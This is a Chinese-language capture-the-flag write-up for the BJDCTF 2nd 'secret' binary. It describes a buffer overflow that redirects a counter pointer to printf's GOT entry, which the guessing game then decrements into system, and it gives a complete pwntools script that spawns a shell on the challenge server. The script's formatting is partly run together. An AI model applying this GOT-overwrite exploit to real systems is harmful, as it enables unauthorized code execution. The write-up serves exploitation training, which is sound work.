当前位置: 代码迷 >> 综合 >> BJDCTF 2nd secret
  详细解决方案

BJDCTF 2nd secret

热度:53   发布时间:2024-01-15 12:05:08.0

BJDCTF 2nd secret

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

是一个猜数游戏,数值全在代码里,但是有10000个,显然全部抠出来太慢了。

我们再看一下其他函数,发现输入name时,存在缓冲区溢出,可以改写0x000000000046D090处的指针,而该处指针指向count变量,每猜一下,就会对count减1。

然后,我们注意到printf的got表的值比system的got表的值大,并且相差0x10.

因此,我们可以利用溢出,把指针覆盖为printf的got表,然后猜对15次,最后一次猜错。这会导致printf的got表值减去16,也就变成了system的got表一样的值。从而能够调用system。

#coding:utf8
from pwn import *#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')sh.interactive()